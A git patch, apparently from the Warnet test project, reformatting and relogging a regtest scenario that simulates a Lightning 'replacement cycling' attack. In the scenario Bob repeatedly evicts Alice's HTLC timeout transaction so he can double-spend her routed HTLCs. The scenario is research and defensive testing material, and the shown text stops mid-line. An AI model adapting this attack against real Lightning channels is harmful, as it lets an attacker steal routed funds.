get_anchor_single_key_redeemscript(pubkey): return CScript([pubkey.get_bytes(), OP_CHECKSIG]) + def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey) -> CTransaction: witness_script = get_funding_redeemscript(funder_pubkey, fundee_pubkey) witness_program = sha256(witness_script) @@ -78,7 +78,8 @@ def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey) -> CTransa wallet.sign_tx(funding_tx) return funding_tx -def generate_parent_child_tx(wallet, coin, pubkey, sat_per_vbyte): + +def generate_parent_child_tx(wallet, coin, sat_per_vbyte): # We build a junk parent transaction for the second-stage HTLC-preimage junk_parent_fee = 158 * sat_per_vbyte @@ -96,21 +97,24 @@ def generate_parent_child_tx(wallet, coin, pubkey, sat_per_vbyte): child_tx = CTransaction() child_tx.vin.append(CTxIn(COutPoint(int(junk_parent.hash, 16), 0), b"", 0)) - child_tx.vout.append(CTxOut(int(49.99998 * COIN - (junk_parent_fee + child_tx_fee)), junk_scriptpubkey)) + child_tx.vout.append( + CTxOut(int(49.99998 * COIN - (junk_parent_fee + child_tx_fee)), junk_scriptpubkey)) child_tx.wit.vtxinwit.append(CTxInWitness()) child_tx.wit.vtxinwit[0].scriptWitness.stack = [junk_script] child_tx.rehash() - return (junk_parent, child_tx) + return junk_parent, child_tx -def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seckey, hashlock, commitment_tx, preimage_parent_tx): - commitment_fee = 158 * 2 # Old sat per vbyte +def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seckey, hashlock, + commitment_tx, preimage_parent_tx): + commitment_fee = 158 * 2 # Old sat per vbyte witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, - OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, - OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, + funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, + OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) spend_script = CScript([OP_TRUE]) spend_scriptpubkey = CScript([OP_0, sha256(spend_script)]) @@ -119,9 +123,11 @@ def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seck receiver_preimage = CTransaction() receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) - receiver_preimage.vout.append(CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + receiver_preimage.vout.append( + CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) - sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, + commitment_tx.vout[0].nValue) fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' # Spend the commitment transaction HTLC output @@ -134,12 +140,16 @@ def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seck receiver_preimage.wit.vtxinwit[1].scriptWitness.stack = [junk_script] receiver_preimage.rehash() - return (receiver_preimage) + return receiver_preimage -def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, input_amount, input_script, sat_per_vbyte, timelock, hashlock, nSequence, preimage_parent_tx): + +def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, input_amount, + input_script, sat_per_vbyte, timelock, hashlock, nsequence, + preimage_parent_tx): witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, - OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, - OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, + funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, + OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) witness_program = sha256(witness_script) script_pubkey = CScript([OP_0, witness_program]) @@ -162,25 +172,30 @@ def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, timeout_fee = 158 * sat_per_vbyte offerer_timeout = CTransaction() - offerer_timeout.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", nSequence)) - offerer_timeout.vout.append(CTxOut(int(input_amount - (commitment_fee + timeout_fee)), spend_scriptpubkey)) + offerer_timeout.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", nsequence)) + offerer_timeout.vout.append(CTxOut(int(input_amount - (commitment_fee + timeout_fee)), + spend_scriptpubkey)) offerer_timeout.nLockTime = timelock - sig_hash = SegwitV0SignatureHash(witness_script, offerer_timeout, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + sig_hash = SegwitV0SignatureHash(witness_script, offerer_timeout, 0, SIGHASH_ALL, + commitment_tx.vout[0].nValue) funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' offerer_timeout.wit.vtxinwit.append(CTxInWitness()) - offerer_timeout.wit.vtxinwit[0].scriptWitness.stack = [b'', fundee_sig, funder_sig, b'', witness_script] + offerer_timeout.wit.vtxinwit[0].scriptWitness.stack = [b'', fundee_sig, funder_sig, b'', + witness_script] offerer_timeout.rehash() preimage_fee = 148 * sat_per_vbyte receiver_preimage = CTransaction() receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) - receiver_preimage.vout.append(CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + receiver_preimage.vout.append( + CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) - sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, + commitment_tx.vout[0].nValue) fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' # Spend the commitment transaction HTLC output @@ -193,7 +208,7 @@ def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, receiver_preimage.wit.vtxinwit[1].scriptWitness.stack = [junk_script] receiver_preimage.rehash() - return (commitment_tx, offerer_timeout, receiver_preimage) + return commitment_tx, offerer_timeout, receiver_preimage class ReplacementCyclingTest(WarnetTestFramework): @@ -221,65 +236,74 @@ def test_replacement_cycling(self): wallet = self.wallet # Generate funding transaction opening channel between Alice and Bob. - ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), + bob_seckey.get_pubkey()) - alice.log.info(f"A & B sign Funding Txn {ab_funding_tx.hash[0:7]}: Alice/Bob 2/2 multisig") + alice.log.info(f"A & B sign Funding Txn {ab_funding_tx.hash[0:7]} (Alice/Bob 2/2 multisig)") # Propagate and confirm funding transaction. - ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0) + ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), + maxfeerate=0) self.sync_all() assert ab_funding_txid in alice.getrawmempool() assert ab_funding_txid in bob.getrawmempool() - alice.log.info(f"Funding Tnxn {ab_funding_txid[0:7]} is in the mempool: ") + alice.log.info(f"Funding Txn {ab_funding_txid[0:7]} is in the mempool") # We mine one block the Alice - Bob channel is opened. self.generate(alice, 1) assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) - lastblockhash = alice.getbestblockhash() - block = alice.getblock(lastblockhash) - lastblockheight = block['height'] + last_blockhash = alice.getbestblockhash() + block = alice.getblock(last_blockhash) + last_blockheight = block['height'] - self.log.info(f"Alice sent funding Txn {ab_funding_txid[0:7]}, included @ {lastblockheight}") + self.log.info(f"Alice sent Funding Txn {ab_funding_txid[0:7]}, included @ " + f"{last_blockheight}") hashlock = hash160(b'a' * 32) - funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), + bob_seckey.get_pubkey()) coin_2 = self.wallet.get_utxo() parent_seckey = ECKey() parent_seckey.generate(True) - (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 1) + (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 1) - self.log.info(f"Bob makes the Parent Txn ({bob_parent_tx.hash[0:7]}) " + self.log.info(f"Bob made the Parent Txn ({bob_parent_tx.hash[0:7]}) " f"& Child Txn ({bob_child_tx.hash[0:7]} using Coin_2.") - (ab_commitment_tx, alice_timeout_tx, bob_preimage_tx) = create_chan_state(ab_funding_txid, - 0, - alice_seckey, - bob_seckey, - 49.99998 * COIN, - funding_redeemscript, - 2, - lastblockheight + 20, - hashlock, - 0x1, - bob_parent_tx) - - self.log.info(f"Funding Txn {ab_funding_txid[0:7]} -> A&B sign the Commitment Txn {ab_commitment_tx.hash[0:7]}" + (ab_commitment_tx, + alice_timeout_tx, + bob_preimage_tx) = create_chan_state(ab_funding_txid, + 0, + alice_seckey, + bob_seckey, + 49.99998 * COIN, + funding_redeemscript, + 2, + last_blockheight + 20, + hashlock, + 0x1, + bob_parent_tx) + + self.log.info(f"Funding Txn {ab_funding_txid[0:7]} -> Commitment Txn" + f"{ab_commitment_tx.hash[0:7]} (A&B sign)" ": A can claim w/ 2/2 multisig; B can claim with hashlock") - self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> A&B sign Timeout Txn " + self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> Timeout Txn (A&B sign)" f"{alice_timeout_tx.hash[0:7]}: After nLockTime, A claims with 2/2 multisig") - self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> Bob signs Preimage Txn " - f"{bob_preimage_tx.hash[0:7]}: Bob claims Commitment Txn w/ preimage + the Parent Txn") + self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> Preimage Txn (Bob signs)" + f"{bob_preimage_tx.hash[0:7]}: Bob claims Commitment Txn w/ preimage + the" + " Parent Txn") # We broadcast Alice - Bob commitment transaction. - ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0) + ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), + maxfeerate=0) self.sync_all() @@ -293,19 +317,22 @@ def test_replacement_cycling(self): assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) - lastblockhash = alice.getbestblockhash() - block = alice.getblock(lastblockhash) + last_blockhash = alice.getbestblockhash() + block = alice.getblock(last_blockhash) blockheight_print = block['height'] - self.log.info(f"Alice broadcasted the Commitment Txn {ab_commitment_tx.hash[0:7]}" + self.log.info(f"Alice broadcasted the Commitment Txn {ab_commitment_tx.hash[0:7]}" f"& mined 20 blocks; now @ {blockheight_print}") # Broadcast the Bob parent transaction and its child transaction - bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), maxfeerate=0) - bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), maxfeerate=0) + bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), + maxfeerate=0) + bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), + maxfeerate=0) - self.log.info(f"Bob broadcasted the Parent Txn {bob_parent_txid[0:7]} & Child Txn {bob_child_txid[0:7]}" - f" @ {blockheight_print}") + self.log.info( + f"Bob broadcasted the Parent Txn {bob_parent_txid[0:7]} & Child Txn " + f"{bob_child_txid[0:7]} @ {blockheight_print}") self.sync_all() @@ -316,13 +343,15 @@ def test_replacement_cycling(self): self.log.info(f"Parent Txn {bob_parent_txid[0:7]} is in mempool") self.log.info(f"Child Txn {bob_child_txid[0:7]} is in mempool") - lastblockhash = alice.getbestblockhash() - block = alice.getblock(lastblockhash) + last_blockhash = alice.getbestblockhash() + block = alice.getblock(last_blockhash) blockheight_print = block['height'] # Broadcast the Alice timeout transaction - alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0) - self.log.info(f"Alice broadcasted her Timeout Txn {alice_timeout_txid[0:7]} @ {blockheight_print}") + alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), + maxfeerate=0) + self.log.info( + f"Alice broadcasted her Timeout Txn {alice_timeout_txid[0:7]} @ {blockheight_print}") self.sync_all() @@ -331,43 +360,48 @@ def test_replacement_cycling(self): self.log.info(f"Alice Timeout Txn {alice_timeout_txid[0:7]} is in the mempool") # Broadcast the Bob preimage transaction - bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), maxfeerate=0) - self.log.info(f"Bob broadcasted his Preimage Txn {bob_preimage_txid[0:7]} to kick Alice's Timeout Txn") + bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), + maxfeerate=0) + self.log.info( + f"Bob broadcasted his Preimage Txn {bob_preimage_txid[0:7]} to kick" + "Alice's Timeout Txn") self.sync_all() assert bob_preimage_txid in alice.getrawmempool() assert bob_preimage_txid in bob.getrawmempool() - self.log.info(f"Bob's Preimage Txn {bob_preimage_txid[0:7]} is in the mempool; this kicks Alice's Timeeout Txn") + self.log.info( + f"Bob's Preimage Txn {bob_preimage_txid[0:7]} is in the mempool; " + "this kicks Alice's Timeout Txn") # Check Alice timeout transaction and Bob child tx are not in the mempools anymore - assert not alice_timeout_txid in alice.getrawmempool() - assert not alice_timeout_txid in bob.getrawmempool() - assert not bob_child_txid in alice.getrawmempool() - assert not bob_child_txid in bob.getrawmempool() + assert alice_timeout_txid not in alice.getrawmempool() + assert alice_timeout_txid not in bob.getrawmempool() + assert bob_child_txid not in alice.getrawmempool() + assert bob_child_txid not in bob.getrawmempool() - self.log.info(f"Alice's Timeout Txn {alice_timeout_txid[0:7]} and Bob's Child Txn {bob_child_txid[0:7]}" - f" are not in mempool @ {blockheight_print}") + self.log.info( + f"Alice's Timeout Txn {alice_timeout_txid[0:7]} and Bob's Child Txn " + f"{bob_child_txid[0:7]} are not in mempool @ {blockheight_print}") # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx - (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, - coin_2, parent_seckey.get_pubkey(), - 10) + (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 10) - bob_replacement_parent_txid = bob.sendrawtransaction(hexstring=bob_replacement_parent_tx.serialize().hex(), - maxfeerate=0) + bob_replacement_parent_txid = bob.sendrawtransaction( + hexstring=bob_replacement_parent_tx.serialize().hex(), + maxfeerate=0) - self.log.info(f"Bob makes Replacement Parent Txn {bob_replacement_parent_txid[0:7]}" + self.log.info(f"Bob makes Replacement Parent Txn {bob_replacement_parent_txid[0:7]}" f" (w/ higher fee) and broadcasts it @ {blockheight_print}") self.sync_all() # Check Bob HTLC preimage is not in the mempools anymore - assert not bob_preimage_txid in alice.getrawmempool() - assert not bob_preimage_txid in bob.getrawmempool() + assert bob_preimage_txid not in alice.getrawmempool() + assert bob_preimage_txid not in bob.getrawmempool() assert bob_replacement_parent_txid in alice.getrawmempool() assert bob_replacement_parent_txid in alice.getrawmempool() - self.log.info(f"rawmempool: {alice.getrawmempool()}") + self.log.info(f"raw_mempool: {alice.getrawmempool()}") # Check there is only 1 transaction (bob_replacement_parent_txid) in the mempools assert_equal(len(alice.getrawmempool()), 1) @@ -378,8 +412,8 @@ def test_replacement_cycling(self): # A block is mined and bob replacement parent should have confirms. self.generate(alice, 1) - lastblockhash = alice.getbestblockhash() - block = alice.getblock(lastblockhash) + last_blockhash = alice.getbestblockhash() + block = alice.getblock(last_blockhash) blockheight_print = block['height'] assert_equal(len(alice.getrawmempool()), 0) @@ -388,45 +422,56 @@ def test_replacement_cycling(self): self.log.info(f"Mined Bob's Replacement Parent Txn @ {blockheight_print}") # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed - # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the nSequence. - (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, lastblockheight + 20, hashlock, 0x2, bob_parent_tx) - alice_timeout_txid_2 = alice.sendrawtransaction(hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0) + # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the + # nSequence. + (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, + 49.99998 * COIN, funding_redeemscript, 2, + last_blockheight + 20, hashlock, 0x2, + bob_parent_tx) + alice_timeout_txid_2 = alice.sendrawtransaction( + hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0) self.sync_all() - lastblockhash = alice.getbestblockhash() - block = alice.getblock(lastblockhash) + last_blockhash = alice.getbestblockhash() + block = alice.getblock(last_blockhash) blockheight_print = block['height'] self.log.info( - f"Alice tweaks nSequence & re-broadcasts Timeout txn (output has not been claimed yet) @ {blockheight_print}") + f"Alice tweaks nSequence & re-broadcasts Timeout txn (output has not been claimed yet) " + f"@ {blockheight_print}") assert alice_timeout_txid_2 in alice.getrawmempool() assert alice_timeout_txid_2 in bob.getrawmempool() # Note all the transactions are re-generated to bypass p2p filters coin_3 = self.wallet.get_utxo() - (bob_parent_tx_2, bob_child_tx_2) = generate_parent_child_tx(wallet, coin_3, parent_seckey.get_pubkey(), 4) - bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2) + (bob_parent_tx_2, bob_child_tx_2) = generate_parent_child_tx(wallet, coin_3, 4) + bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, + hashlock, ab_commitment_tx, bob_parent_tx_2) self.log.info( - f"Bob re-makes a Parent Txn & Child Txn (Coin_3) and a new Preimage Txn (spends Parent Txn) @ {blockheight_print}") + f"Bob re-makes a Parent Txn & Child Txn (Coin_3) and a new Preimage Txn " + f"(spends Parent Txn) @ {blockheight_print}") - bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), maxfeerate=0) + _bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), + maxfeerate=0) self.sync_all() self.log.info( f"Bob broadcasts Parent Txn @ {blockheight_print}") - bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), maxfeerate=0) + _bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), + maxfeerate=0) self.sync_all() self.log.info( f"Bob broadcasts Child Txn @ {blockheight_print}") - bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), maxfeerate=0) + bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), + maxfeerate=0) self.sync_all() @@ -435,12 +480,15 @@ def test_replacement_cycling(self): assert bob_preimage_txid_2 in alice.getrawmempool() assert bob_preimage_txid_2 in bob.getrawmempool() - assert not alice_timeout_txid_2 in alice.getrawmempool() - assert not alice_timeout_txid_2 in bob.getrawmempool() + assert alice_timeout_txid_2 not in alice.getrawmempool() + assert alice_timeout_txid_2 not in bob.getrawmempool() - self.log.info(f"Bob's Preimage Txn is in the mempool; Alice's Timeout Txn is not @ {blockheight_print}") + self.log.info( + f"Bob's Preimage Txn is in the mempool; Alice's Timeout Txn is not @ " + f"{blockheight_print}") - # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and double-spend her routed HTLCs. + # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and + # double-spend her routed HTLCs. # ... but it gets mined immediately? - Greg self.generate(alice, 1) @@ -449,10 +497,11 @@ def test_replacement_cycling(self): assert bob_preimage_txid_2 not in alice.getrawmempool() assert bob_preimage_txid_2 not in bob.getrawmempool() - def run_test(self): + address = "bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka" + self.generatetoaddress(self.nodes[0], nblocks=101, - address="bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka") + address=address) self.wallet = MiniWallet(self.nodes[0]) From b0d2848c4877d3d999444a566bae8ba3ebf168fd Mon Sep 17 00:00:00 2001 From: Grant Date: Sun, 16 Jun 2024 13:57:58 -0500 Subject: [PATCH 07/18] improve logging --- src/scenarios/replacement_cycling.py | 181 ++++++++++++++++----------- 1 file changed, 111 insertions(+), 70 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 8b145a8b1..cd9bf9754 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -228,6 +228,9 @@ def test_replacement_cycling(self): self.generate(alice, 501) self.sync_all() + last_blockhash = alice.getbestblockhash() + block = alice.getblock(last_blockhash) + last_blockheight = block['height'] self.connect_nodes(0, 1) @@ -239,17 +242,22 @@ def test_replacement_cycling(self): ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) - alice.log.info(f"A & B sign Funding Txn {ab_funding_tx.hash[0:7]} (Alice/Bob 2/2 multisig)") + alice.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " + "- Signed by: Alice & Bob " + "- Alice/Bob 2/2 multisig") # Propagate and confirm funding transaction. ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0) + alice.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " + "- Broadcasted by: Alice") self.sync_all() assert ab_funding_txid in alice.getrawmempool() assert ab_funding_txid in bob.getrawmempool() - alice.log.info(f"Funding Txn {ab_funding_txid[0:7]} is in the mempool") + alice.log.info(f" @{last_blockheight} {ab_funding_txid[0:7]} Funding Txn " + "- Seen in the mempool") # We mine one block the Alice - Bob channel is opened. self.generate(alice, 1) @@ -260,10 +268,7 @@ def test_replacement_cycling(self): block = alice.getblock(last_blockhash) last_blockheight = block['height'] - self.log.info(f"Alice sent Funding Txn {ab_funding_txid[0:7]}, included @ " - f"{last_blockheight}") - - hashlock = hash160(b'a' * 32) + self.log.info(f" @{last_blockheight} {ab_funding_txid[0:7]} Funding Txn - Mined") funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) @@ -275,8 +280,13 @@ def test_replacement_cycling(self): (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 1) - self.log.info(f"Bob made the Parent Txn ({bob_parent_tx.hash[0:7]}) " - f"& Child Txn ({bob_child_tx.hash[0:7]} using Coin_2.") + self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn - Created by: Bob") + self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn - Signed by: Bob") + self.log.info(f"@{last_blockheight} {bob_child_tx.hash[0:7]} Child Txn - Created by: Bob") + + hashlock = hash160(b'a' * 32) + + n_locktime = last_blockheight + 20 (ab_commitment_tx, alice_timeout_tx, @@ -287,29 +297,40 @@ def test_replacement_cycling(self): 49.99998 * COIN, funding_redeemscript, 2, - last_blockheight + 20, + n_locktime, hashlock, 0x1, bob_parent_tx) - self.log.info(f"Funding Txn {ab_funding_txid[0:7]} -> Commitment Txn" - f"{ab_commitment_tx.hash[0:7]} (A&B sign)" - ": A can claim w/ 2/2 multisig; B can claim with hashlock") - self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> Timeout Txn (A&B sign)" - f"{alice_timeout_tx.hash[0:7]}: After nLockTime, A claims with 2/2 multisig") - self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> Preimage Txn (Bob signs)" - f"{bob_preimage_tx.hash[0:7]}: Bob claims Commitment Txn w/ preimage + the" - " Parent Txn") + self.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " + f"- Funded by: [{ab_funding_txid[0:7]} Funding Txn]") + self.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " + f"- Signed by: Alice & Bob " + "- Alice + Bob can claim with 2:2 multisig; Bob can claim with hashlock") + self.log.info(f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " + f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn]") + self.log.info(f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " + f"- Signed by: Alice & Bob " + f"- After nLockTime ({n_locktime}), Alice can claim") + self.log.info(f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " + f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn, " + f"{bob_parent_tx.hash[0:7]} Parent Txn]") + self.log.info(f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " + f"- Signed by: Bob " + f"- Bob can claim with his preimage") # We broadcast Alice - Bob commitment transaction. ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0) + alice.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn " + "- Broadcasted by: Alice") self.sync_all() assert ab_commitment_txid in alice.getrawmempool() assert ab_commitment_txid in bob.getrawmempool() - self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} in mempool") + self.log.info(f"@{last_blockheight} {ab_commitment_tx.hash[0:7]} Commitment Txn - " + "Seen in the mempool") # Assuming anchor output channel, commitment transaction must be confirmed. # Additionally, we mine sufficient block for the alice timeout tx to be final. @@ -319,10 +340,9 @@ def test_replacement_cycling(self): last_blockhash = alice.getbestblockhash() block = alice.getblock(last_blockhash) - blockheight_print = block['height'] + last_blockheight = block['height'] - self.log.info(f"Alice broadcasted the Commitment Txn {ab_commitment_tx.hash[0:7]}" - f"& mined 20 blocks; now @ {blockheight_print}") + self.log.info(f"@{last_blockheight} - Mined blocks") # Broadcast the Bob parent transaction and its child transaction bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), @@ -330,9 +350,10 @@ def test_replacement_cycling(self): bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), maxfeerate=0) - self.log.info( - f"Bob broadcasted the Parent Txn {bob_parent_txid[0:7]} & Child Txn " - f"{bob_child_txid[0:7]} @ {blockheight_print}") + self.log.info(f"@{last_blockheight} {bob_parent_txid[0:7]} Parent Txn " + "- Broadcasted by: Bob") + self.log.info(f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn " + "- Broadcasted by: Bob") self.sync_all() @@ -340,39 +361,38 @@ def test_replacement_cycling(self): assert bob_parent_txid in bob.getrawmempool() assert bob_child_txid in alice.getrawmempool() assert bob_child_txid in bob.getrawmempool() - self.log.info(f"Parent Txn {bob_parent_txid[0:7]} is in mempool") - self.log.info(f"Child Txn {bob_child_txid[0:7]} is in mempool") - - last_blockhash = alice.getbestblockhash() - block = alice.getblock(last_blockhash) - blockheight_print = block['height'] + self.log.info(f"@{last_blockheight} {bob_parent_txid[0:7]} Parent Txn " + f"- Seen in the mempool") + self.log.info(f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn - Seen in the mempool") # Broadcast the Alice timeout transaction alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0) self.log.info( - f"Alice broadcasted her Timeout Txn {alice_timeout_txid[0:7]} @ {blockheight_print}") + f"@{last_blockheight} {alice_timeout_txid[0:7]} Timeout Txn " + f"- Broadcasted by: Alice") self.sync_all() assert alice_timeout_txid in alice.getrawmempool() assert alice_timeout_txid in bob.getrawmempool() - self.log.info(f"Alice Timeout Txn {alice_timeout_txid[0:7]} is in the mempool") + self.log.info(f"@{last_blockheight} {alice_timeout_txid[0:7]} Alice Timeout Txn " + f"- Seen in the mempool") # Broadcast the Bob preimage transaction bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), maxfeerate=0) self.log.info( - f"Bob broadcasted his Preimage Txn {bob_preimage_txid[0:7]} to kick" - "Alice's Timeout Txn") + f"@{last_blockheight} {bob_preimage_txid[0:7]} Preimage Txn - Broadcasted by: Bob " + f"- should kick out Alice's Timeout Txn") self.sync_all() assert bob_preimage_txid in alice.getrawmempool() assert bob_preimage_txid in bob.getrawmempool() self.log.info( - f"Bob's Preimage Txn {bob_preimage_txid[0:7]} is in the mempool; " - "this kicks Alice's Timeout Txn") + f"@{last_blockheight} 